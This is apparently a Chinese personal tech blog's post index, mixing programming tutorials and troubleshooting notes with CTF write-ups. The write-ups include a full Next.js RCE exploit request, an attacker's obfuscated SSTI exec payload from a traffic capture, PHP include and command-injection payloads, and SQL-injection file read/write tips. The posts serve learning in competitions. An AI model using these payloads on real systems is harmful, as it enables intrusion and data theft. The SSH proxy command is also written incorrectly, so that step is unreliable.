zzy2357

手写一个简单的 Claude Code

Sat, 15 Aug 2026 12:14:25 +0800

本文将带你手把手写一个简单的 Claude Code，以了解 harness 的基本原理。

`openai` 库

Chat Completions API 是由 OpenAI 提出的一套对话接口规范，很多模型厂商都选择兼容它（比如本文要用的 DeepSeek，接口格式和 OpenAI 几乎一模一样）。

在 Python 中，OpenAI 提供了一个叫 openai 的库，可以用来调用所有兼容该接口的模型，而不只是 OpenAI 自家的模型。

pip install openai

对话

单轮对话

以下是 DeepSeek 官方接口文档的单轮对话示例：

import os
from openai import OpenAI

client = OpenAI(
    api_key=os.environ.get('DEEPSEEK_API_KEY'),
    base_url="https://api.deepseek.com")

response = client.chat.completions.create(
    model="deepseek-v4-pro",
    messages=[
        {"role": "system", "content": "You are a helpful assistant"},
        {"role": "user", "content": "Hello"},
    ],
    stream=False, # 非流式输出，一次性输出完整的响应
    reasoning_effort="high",
    extra_body={"thinking": {"type": "enabled"}} # `thinking` 是 DeepSeek 官方额外提供的字段，原 API 并没有这一个设置
)

print(response.choices[0].message.reasoning_content)	# 思考内容
print(response.choices[0].message.content)				# 正文

多轮对话

上面一个单轮对话的例子，也就是说，LLM 本身并不存储上下文，需要你来记录上下文，在每一轮对话前提供给 LLM：

# 第一轮对话
messages.append({'role': 'user', 'content': '你好呀，我叫 Alice'})
response = client.chat.completions.create(
	...
    messages=messages
)
messages.append(response.choices[0].message) # assistant: 你好呀，Alice！很高兴认识你 😊

# 第二轮对话
messages.append({'role': 'user', 'content': '我叫什么名字？'})
response = client.chat.completions.create(
	...
    messages=messages
)
messages.append(response.choices[0].message) # assistant: 你叫 Alice 呀～😄 刚才你告诉我的，我记得呢！

每次都把聊天记录附给 LLM，这样 LLM 就有了上下文。

手写一个简单的 HTTP 服务器

Wed, 05 Aug 2026 16:55:20 +0800

本文将从 TCP socket 出发，用 Python 手把手实现一个最小可用的 HTTP 服务器。

什么是 socket？

Socket（套接字）是操作系统提供给应用程序的网络通信接口，支持 TCP 和 UDP 协议。有了 socket，你只需要发送和接收数据，而无需关心底层网卡、路由等复杂细节。Python 也拥有操作 socket 的标准库，可以使用 socket 在 Python 中接收和发送数据。

客户端 Socket

# 用 netcat 建立一个 TCP 服务器，只要连接上就会发送 Hello world!
$ echo "Hello world!" | nc -lvnp 6767

import socket

client_socket = socket.socket(
    socket.AF_INET,		# 使用 IPv4
    socket.SOCK_STREAM	# 使用面向流的TCP协议
)

# 连接到 127.0.0.1:6767
client_socket.connect(('127.0.0.1', 6767))
# 一次性接收最大 1024 字节的数据
print(client_socket.recv(1024))
# b'Hello world!\r\n'

服务端 Socket

import socket

server_socket = socket.socket(
    socket.AF_INET,		# 使用 IPv4
    socket.SOCK_STREAM	# 使用面向流的TCP协议
)
# 允许端口复用，避免重启时 "Address already in use"
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 绑定到 127.0.0.1:6767，此时还没有开始监听
server_socket.bind(('127.0.0.1', 6767))
# 开始监听，括号里填一个整数可以指定最大同时连接数
server_socket.listen()
print('服务器正在运行')

while True: # 重复等待连接
    conn, addr = server_socket.accept()
    print(f'{ addr } 已连接')
    conn.sendall(b'Hello world!') # 发送完整的数据
    conn.close()

$ nc 127.0.0.1 6767
Hello world!

HTTP 协议（摘自 MDN）

HTTP 是一种用作获取诸如 HTML 文档这类资源的协议。它是 Web 上进行任何数据交换的基础，同时，也是一种客户端—服务器（client-server）协议，也就是说，请求是由接受方——通常是 Web 浏览器——发起的。完整网页文档通常由文本、布局描述、图片、视频、脚本等资源构成。

网络是如何运作的

Sun, 02 Aug 2026 20:36:04 +0800

我一边学一边记，本文章持续更新。

网络的分层模型

网络的分层模型有两种，一种是 OSI 七层模型，一种是 TCP/IP 四层模型。

OSI 七层模型

层（由底层到表层）	描述
物理层 Physical	直接与物理介质打交道
数据链路层 Data Link	给数据打包、贴标签、检查、管理一段路上的交通，MAC 协议就是这层的
网络层 Network	决定数据的流动路径，IP 协议就是这层的
传输层 Transport	就是 TCP & UDP 所在的层，netcat 处理的那一层
会话层 Session	就是你用 socket 写聊天室时自己写的那个处理连接的流程控制的功能
表示层 Presentation	你自己写的聊天室中 socket 间的数据咋传输，可以是序列化、struct、json 的形式，也可以压缩、加密
应用层 Application	HTTP、FTP、SMTP 等就是这层的

TCP/IP 四层模型

TCP/IP 被采用得最广泛，把 OSI 中的数据链路层和物理层看作一层，应用层、表示层、会话层看作一层。

层（由底层到表层）	描述
网络接口层	处理具体的物理传输（以太网、Wi-Fi）、MAC 寻址和硬件驱动。
网络层 Network	决定数据的流动路径，IP 协议就是这层的
传输层 Transport	就是 TCP & UDP 所在的层，netcat 处理的那一层
应用层 Application	HTTP、FTP、SMTP 等就是这层的，或者自己写的网络程序

详细介绍

由于网络接口层不太熟悉，所以底层按照 OSI 分成两层讲；表层按照 TCP/IP 合并成应用层来讲。

MinGW-w64 编译通过运行崩？Code Runner 踩坑记

Mon, 13 Jul 2026 18:20:00 +0800

症状

VS Code 里写了个 hello world：

#include <iostream>
using namespace std;

int main() {
    cout << "Hello world!" << endl;
    return 0;
}

Ctrl+Alt+N（Code Runner）→ 编译通过 → 运行崩：

[Done] exited with code=3221225477 in 1.097 seconds

退出的 3221225477 就是 0xC0000005，也就是 STATUS_ACCESS_VIOLATION——俗称段错误（segfault）。

一个 hello world 能 segfault，说明问题不在代码，在环境。

排查

第一坑：路径错了

看看编译器的实际位置：

$ ls /d/Apps/mingw64/mingw64/bin/g++.exe

结果是 MinGW-w64 15.2.0（UCRT 版本），而我 Code Runner 里配的是 D:\Apps\TDM-GCC\bin\g++.exe——一个根本不存在的目录。

嗯，之前不知道哪个助手写进记忆里的，信了。

第二坑：运行时缺 DLL

路径改对后，编译确实过了，但运行还是崩。手动跑一下试试：

$ g++ hello.cpp -o hello.exe -static-libgcc -fexec-charset=gbk
$ ./hello.exe
Segmentation fault

查一下编译产物依赖的 DLL：

$ objdump -p hello.exe | grep "DLL Name"
    DLL Name: libstdc++-6.dll
    DLL Name: KERNEL32.dll
    DLL Name: api-ms-win-crt-environment-l1-1-0.dll
    DLL Name: api-ms-win-crt-heap-l1-1-0.dll
    ...

看到了吧——libstdc++-6.dll。这个 DLL 在 MinGW 的 bin 目录下，但不在系统的 PATH 里。运行时找不到它，直接崩。

从 Vue + fetch 到现代 Web 架构：一次对话后的认知刷新

Tue, 07 Jul 2026 20:38:00 +0800

最近和 GLM 聊前端架构，被纠正了一堆自以为是的认知。之前我对前后端分离的理解基本停留在"后端写接口、前端 fetch 拿数据渲染"。聊完之后发现这四个点我之前全想错了。

URL 里的 # 号

一开始路由全是 localhost/#/user 这种带 # 的，以为 Vue Router 就这样。后来才知道这是 Hash 模式——默认值，不需要后端配合但 URL 丑。

换成 History 模式：

// Vue Router
const router = createRouter({
  history: createWebHistory(),  // 不是 createWebHashHistory()
  routes: [...]
})

改完访问 localhost/user 确实干净了，但一刷新就 404。因为浏览器把 /user 当成真实路径发给了后端，后端根本没这个路由。

Nginx 加一行兜底就解决了：

location / {
    try_files $uri $uri/ /index.html;
}

找不到对应文件就把请求还给前端入口，让 Vue Router 自己接管。这个组合才是 SPA 的标准玩法。

前后端分离不等于前端直接调后端

我之前理解的"前后端分离"就是：浏览器 fetch 后端 API，拿到 JSON 渲染。简单粗暴。

但像淘宝这种体量的网站不可能这么搞。实际架构是三层：

后端（Spring Boot / Go） → 管数据库和业务逻辑，不直接对着浏览器。

BFF 层（Node.js） → 把后端几十个零散接口聚合成前端一个页面需要的数据，该裁的裁、该拼的拼。

前端（Vue / React） → 只管交互和渲染。

Friends

Thu, 02 Jul 2026 00:00:00 +0000

ljnljn2005

梁神牛逼666

saga131

虎！

Sevedy

超强会审

hxyz486

旮旯game钛郝玩了！

C1za_Star

唐

yiyouyy

秀神

w0e6x

汪神

1ceLAND

霖神

Joyooo

Joy神

Oh My OpenAgent 只显示 plan/build 两个 Agent 的修复记录

Sun, 28 Jun 2026 17:30:00 +0800

问题

装了 oh-my-openagent 之后，opencode agent list 和执行 npx oh-my-openagent doctor 都显示正常，但 opencode TUI/Desktop 的 Agent 选择器里只显示 plan 和 build，没有 Sisyphus、Prometheus、Oracle 等 OMO Agent。

这个问题在官方仓库有多人在追踪：

#3456 — “[Question]: installed OMO, reopen opencode can not find Sisyphus in agents”
#3835 — “[Bug]: oh-my-openagent custom agents not showing in OpenCode Desktop UI after v1.14.x update”
anomalyco/opencode#30855 — “Plugin-registered Agents Unavailable after Update Operation on Opencode Desktop”

原因分析

实际导致这个症状的原因有三种，严重程度递增：

原因一：配置作用域不匹配

OpenCode 的配置文件有两个层级：

作用域	路径	优先级
全局	`~/.config/opencode/opencode.json`	低
项目本地	`.opencode/opencode.json`（启动目录下）	高

通过 npx oh-my-openagent install 安装时，写入的是全局配置。但如果启动 opencode 的工作目录下恰好存在 .opencode/opencode.json（哪怕只有简单几行），opencode 就会优先读这个本地配置，而本地配置可能没有注册插件。

使用 SSH 建立 Socks5 代理

Sat, 04 Apr 2026 12:38:49 +0800

只要知道服务器的 IP 和密码就能直接建立，不需要额外安装软件

在本地执行：

ssh -D port user@passwd

然后输入密码连接，看上去跟平常使用 SSH 一样，但是在本地已经建立了一个连接到服务器的 Socks5 代理，这个时候更改代理为 Socks5 类型的代理：127.0.0.1:port 即可。

C++ String

Mon, 09 Mar 2026 14:31:39 +0800

创建

#include <string> // 注意不是 <string.h>

string s;

转字符数组

string.data() 不保证末尾有空字符
string.c_str() 保证末尾有空字符，建议用这个

获取长度

string.size()
string.length()
strlen(string.c_str())

注意！

这三个函数（以及下面将要提到的 find 函数）的返回值类型都是 size_t（unsigned long）．因此，这些返回值不支持直接与负数比较或运算，建议在需要时进行强制转换．

查找

string.find(str, pos = 0) 查找字符串中一个字符/字符串在含 pos 之后第一次出现的位置，如果没有出现，则为 string::npos（类型为 size_t/unsigned long，需转换）

截取

string.substr(pos, len) 返回从 pos 位置开始截取最多 len 个字符组成的字符串

插入

string.insert(index, count, char) 在 index 处连续插入 count 个 char
string.insert(index, str) 在 index 处插入 str

擦除

string.erase(index, count = string.length()) 将从含 index 开始的 count 个字符删除

替换

string.replace(pos, count, str) 将从含 pos 后面的 count 个字符替换为 str
string.replace(first: iterator, last: iterator, str) 将以含 first 开始，不含 last 结束的字串替换为 str

C++ Vector

Mon, 09 Mar 2026 07:54:32 +0800

创建 vector

#include <vector>

vector<int> v0;

// 创建一个初始空间为 3 的 vector，元素默认值为 0
vector<int> v1(3);

// 创建一个初始空间为 3 的 vector，元素默认值是 2
vector<int> v2(3, 2);

// 创建一个 v2 的拷贝 v3，元素内容和 v2 一样
vector<int> v3(v2);

// 创建一个 v3 的拷贝到 v4，内容是 { v3[1], v3[2] }，包前不包后;
vector<int> v4(v3.begin() + 1, v3.begin() + 3);

元素访问

vector.at(pos) 返回 vector 中下标为 pos 的引用
vector[pos] 返回 vector 中下标为 pos 的引用，不执行越界检查
vector.front() 返回首元素的引用（vector.begin() 是迭代器，和这个不同）
vector.back() 返回末元素的引用（vector.end() 是迭代器，没有元素，和这个不同）
vector.data() 返回首元素的指针（vector 的空间是连续的）

迭代器

vector.begin() 返回首元素的迭代器，*begin = front
vector.end() 返回末元素的迭代器，没有元素
vector.rbegin() 返回指向逆向数组的首元素的迭代器，可以理解为正向容器的末元素
vector.rend() 返回指向逆向数组末元素后一位置的迭代器，对应容器首的前一个位置，没有元素
上述迭代器名前加上一个 c 为只读迭代器

长度和容量

注意，vector 的长度（size）指有效元素数量，而容量（capacity）指分配的内存长度

2026 新春杯 WP

Sun, 08 Feb 2026 22:43:14 +0800

Web

够了够了，谢谢大家

写脚本注册 100 个账号并登录点赞，由于需要保持登录状态，所以需要用 requests.session() 来保持会话：

import requests
import time

register_url = "http://175.27.251.122:33994/register.php"
login_url = "http://175.27.251.122:33994/login.php"
like_url = "http://175.27.251.122:33994/weechatt.php"

for i in range(100):
    session = requests.session()
    response = session.post(register_url, data={
        "username": f"user{i}",
        "password": "123456"
    })
    time.sleep(0.3)
    session.post(login_url, data={
        "username": f"user{i}",
        "password": "123456"
    })
    time.sleep(0.3)
    session.post(like_url, data={ "like": "" })
    time.sleep(0.3)

Arknights_solver

看到提示“cve”，看下源码有哪些技术栈，发现用了 next.js，查一下应该是 CVE-2025-55182 漏洞。

抄一下 https://blog.csdn.net/lingggggaaaa/article/details/155617904 的有回显 poc，改一下：

POST / HTTP/1.1
Host: 192.168.0.143:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 753

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('printenv',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

我试过 cat /flag，发现没有这个文件， find 了一下也没有，试试 printenv，在环境变量里找到了 flag

2025 国赛 WP

Thu, 08 Jan 2026 08:27:30 +0800

流量分析

1

应用过滤 http，找到最后一个 /admin/login

192.379662	/admin/login	POST /admin/login HTTP/1.1  (application/x-www-form-urlencoded)

HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "username" = "admin"
    Form item: "password" = "zxcvbnm123"

2

找到攻击者发送 SSTI Payload 的请求

228.234055	/admin/preview	POST /admin/preview HTTP/1.1  (application/x-www-form-urlencoded)

HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "preview_content" = "{{ config }}"
        Key: preview_content
        Value: {{ config }}

发现结果

SECRET_KEY: c6242af0-6891-4510-8432-e1cdf051f160

3

找到这一行

259.670311	/admin/preview	POST /admin/preview HTTP/1.1  (application/x-www-form-urlencoded)

{{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

把里面的 base64 转换一下

2025 纳新赛 WriteUp

Sat, 06 Dec 2025 17:32:48 +0800

Misc

Crossfire

用 010 Editor 打开发现是个 PNG，但是缺少文件头，补上后打开，发现这张图的大小不对，用随波逐流工具修复一下宽高，就能看到 flag 了。

basic

用 010 Editor 打开，发现上部分是 PNG，下部分是 ZIP，中间是一段 base64，转码过后发现是密码，用这个密码解压 ZIP 就能看到 flag 了。

Pwn

Test your NetCat

ls 一下，发现没有文件，ls -a 发现有文件，且有 flag，cat flag 发现是假 flag，只能看看 attachment 这个文件了，结果没权限，最后试了下 cat * 发现出现 flag 了。

Crypto

RSA_Signin

RSA 共模攻击，运行脚本：

import math
from functools import reduce

def extended_gcd(a, b):
    """
    扩展欧几里得算法：求解 ax + by = gcd(a, b)
    返回 (gcd, x, y)
    """
    if a == 0:
        return (b, 0, 1)
    else:
        gcd, x, y = extended_gcd(b % a, a)
        return (gcd, y - (b // a) * x, x)

def mod_inverse(a, mod):
    """
    计算a在mod下的逆元（要求a和mod互质）
    利用扩展欧几里得算法实现
    """
    gcd, x, y = extended_gcd(a, mod)
    if gcd != 1:
        raise Exception('逆元不存在（a与mod不互质）')
    else:
        return x % mod

def rsa_common_mod_attack(N, e1, c1, e2, c2):
    """
    RSA共模攻击核心函数
    输入：同一模数N、两组公钥(e1,e2)、两组密文(c1,c2)
    输出：明文m（整数形式）
    """
    # 步骤1：验证e1和e2互质（攻击前提）
    gcd_e, x, y = extended_gcd(e1, e2)
    if gcd_e != 1:
        raise Exception('e1和e2不互质，无法进行共模攻击')
    print(f"e1和e2互质（gcd={gcd_e}），满足攻击条件")
    print(f"贝祖等式系数：x={x}, y={y}（满足 e1*x + e2*y = 1）")
    
    # 步骤2：处理负系数（将负指数转换为正逆元）
    if x < 0:
        c1_inv = mod_inverse(c1, N)  # c1^(-1) mod N
        x_abs = -x
        term1 = pow(c1_inv, x_abs, N)  # c1^x mod N = (c1^(-1))^|x| mod N
    else:
        term1 = pow(c1, x, N)  # 正指数直接计算
    
    if y < 0:
        c2_inv = mod_inverse(c2, N)  # c2^(-1) mod N
        y_abs = -y
        term2 = pow(c2_inv, y_abs, N)  # c2^y mod N = (c2^(-1))^|y| mod N
    else:
        term2 = pow(c2, y, N)  # 正指数直接计算
    
    # 步骤3：计算明文 m = (term1 * term2) mod N
    m = (term1 * term2) % N
    return m

def int_to_ascii(m):
    """
    将整数明文转换为ASCII字符串（处理CTF常见flag格式）
    """
    # 整数转换为字节流（大端序）
    byte_data = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')
    try:
        return byte_data.decode('ascii')
    except UnicodeDecodeError:
        return "明文非ASCII格式，返回整数形式：" + str(m)

if __name__ == "__main__":
    # -------------------------- 已知参数（可直接替换为其他共模攻击场景）--------------------------
    N = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699
    e1 = 35422
    c1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033
    e2 = 1033
    c2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548
    
    # -------------------------- 执行攻击 --------------------------
    print("开始RSA共模攻击...")
    try:
        # 执行攻击得到整数明文
        m_int = rsa_common_mod_attack(N, e1, c1, e2, c2)
        # 转换为可读字符串
        m_str = int_to_ascii(m_int)
        
        # 输出结果
        print("\n" + "=" * 50)
        print("攻击成功！")
        print(f"整数明文：{m_int}")
        print(f"可读明文：{m_str}")
        print("="*50)
    except Exception as e:
        print(f"攻击失败：{str(e)}")

Sign_in

出题人不喜欢 0，把 0 全部去掉，在网上搜“颜文字加密解密”发现了 AAencode，用这个解密即可拿到 flag。

2025 PCTF WriteUp

Sun, 30 Nov 2025 21:09:19 +0800

Web

EZPHP

爆破数字，为 114514，然后发送 POST 请求 http://challenge2.pctf.top:31855/?number=114514&action=include，filename=data://text/plain,<?php system('ls -a /'); ?>，看下 flag 在 2t9I0T6BaYFEZGqu 这个文件里，然后再发送一个 data://text/plain,<?php system('cat /2t9I0T6BaYFEZGqu'); ?> 即可拿到 flag。

Jwt_password_manager

打开 app.py，发现 SECRET_KEY 都给了，访问 jwt.io，找到 JWT Encoder，把 payload 改成 { 'username': 'admin' }，把 SECRET_KEY 填进去，把得到的 token 写到 cookie 里面，即可以 admin 的身份登录并拿到 flag。

We_will_rockyou

在网上找 rockyou.txt，逐个爆破，用户名是 admin123，密码是 lovers（每次的密码都不一样），进入仪表盘后运行 ls 发现 flag.txt，由于这个命令检查只检查第一个命令，所以运行 ls ;cat flag.txt，发现 PCTF{flag_is_not_here}，再看题目发现 flag 原来在 /flag，修改后重新运行命令拿到 flag。

php_with_md5

先通过弱比较，然后再碰撞通过强比较。

if(isset($_GET['begin'])=='admin') 只需 begin 存在即可。

if(!preg_match('/admin/i',$begin)) 只需 begin 不包含 admin 即可，因此输入 123。

SQL 注入 - CTF Web 学习笔记

Wed, 12 Nov 2025 19:32:31 +0800

SQL 注入就是利用应用执行 SQL 语句注入非法内容从而执行恶意查询或增删改。

SQL 基本查询语句

从 users 表中查询 id 为 123 的数据：

SELECT username, password FROM users where id = 123;

UNION 用于合并两个或多个 SELECT 语句的结果
LIMIT 用于限制返回的记录数量
ORDER BY 对结果进行排序
-- 用于单行注释
/* */ 用于多行注释

SELECT username, password FROM users1 ORDER BY id
    UNION SELECT username, password FROM users2 LIMIT 10; -- 查询

注意：使用 UNION 的时候要注意两个表的列数量必须相同。

SQL 常用参数

user()：当前数据库用户
database()：当前数据库名
version()：当前使用的数据库版本
@@datadir：数据库储存数据路径
concat()：联合数据，用于联合两条数据结果，如 concat(username, 0x3a, password)
group_concat()：和 concat() 类似，如 group_concat(DISTINCT+user,0x3a,password)，用于把多条数据一次注入出来
concat_ws()：用法类似
hex() 和 unhex()：用于 hex 编码解码
ASCII()：返回字符的 ASCII 码值
CHAR()：把整数转换为对应的字符
load_file()：以文本方式读取文件，在 Windows 中，路径设置为 \
select xxoo into outfile '路径'：权限较高时可直接写文件

基本注入

注释掉后面的条件以直接绕过条件。